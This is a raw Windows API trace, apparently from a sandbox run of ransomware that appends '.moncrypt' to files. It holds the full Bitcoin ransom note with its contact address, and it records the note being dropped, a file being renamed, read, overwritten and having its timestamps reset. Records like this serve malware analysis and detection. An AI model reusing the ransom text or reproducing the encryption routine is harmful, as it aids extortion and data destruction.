(Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0051.570] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a138, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0051.570] GetLastError () returned 0x2 [0051.570] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.573] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0051.574] CloseHandle (hObject=0x18c) returned 1 [0051.575] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.INF", cAlternateFileName="")) returned 1 [0051.575] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.575] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.575] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.575] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.575] GlobalUnlock (hMem=0x440004) returned 0 [0051.575] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.575] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.575] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.575] GlobalUnlock (hMem=0x440004) returned 0 [0051.575] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.575] GlobalUnlock (hMem=0x44000c) returned 0 [0051.575] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.575] CharLowerBuffW (in: lpsz="EDGE.INF", cchLength=0x8 | out: lpsz="edge.inf") returned 0x8 [0051.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.575] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", cchWideChar=69, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpUsedDefaultChar=0x0) returned 69 [0051.576] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0051.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\EDGE\\EDGE.INF", lpUsedDefaultChar=0x0) returned 4 [0051.576] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0051.576] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.576] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.576] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.576] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.576] GlobalUnlock (hMem=0x44000c) returned 0 [0051.576] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.576] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.576] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.576] GlobalUnlock (hMem=0x44000c) returned 0 [0051.576] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.576] GlobalUnlock (hMem=0x440004) returned 0 [0051.576] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.577] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0051.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.577] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", cchWideChar=72, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIFr", lpUsedDefaultChar=0x0) returned 72 [0051.577] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0051.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\EDGE\\PREVIEW.GIFr", lpUsedDefaultChar=0x0) returned 4 [0051.577] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0051.577] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.577] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.578] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.578] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.578] GlobalUnlock (hMem=0x440004) returned 0 [0051.578] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.578] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.578] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.578] GlobalUnlock (hMem=0x440004) returned 0 [0051.578] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.578] GlobalUnlock (hMem=0x44000c) returned 0 [0051.578] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.578] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0051.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.578] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 73 [0051.579] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0051.579] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0051.579] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0051.579] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0051.579] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0051.579] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0051.580] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0051.580] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.moncrypt")) returned 1 [0051.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.580] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.581] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x6722 [0051.581] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.581] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0051.582] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.583] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.583] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.583] GlobalUnlock (hMem=0x440004) returned 0 [0051.583] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0051.583] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.583] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.583] GlobalUnlock (hMem=0x440004) returned 0 [0051.583] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0051.583] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.583] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.583] GlobalUnlock (hMem=0x44000c) returned 0 [0051.583] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.583] GlobalUnlock (hMem=0x440004) returned 0 [0051.583] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.583] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.583] GlobalUnlock (hMem=0x440004) returned 0 [0051.583] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0051.584] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.584] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.584] GlobalUnlock (hMem=0x440004) returned 0 [0051.584] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0051.584] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0051.584] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0051.584] SetFilePointer (in: hFile=0x18c, lDistanceToMove=26402, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x6722 [0051.584] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0051.584] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0051.584] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0051.595] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0051.595] CloseHandle (hObject=0x18c) returned 1 [0051.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.596] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0051.596] CloseHandle (hObject=0x18c) returned 1 [0051.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0051.597] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0051.597] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.597] GlobalHandle 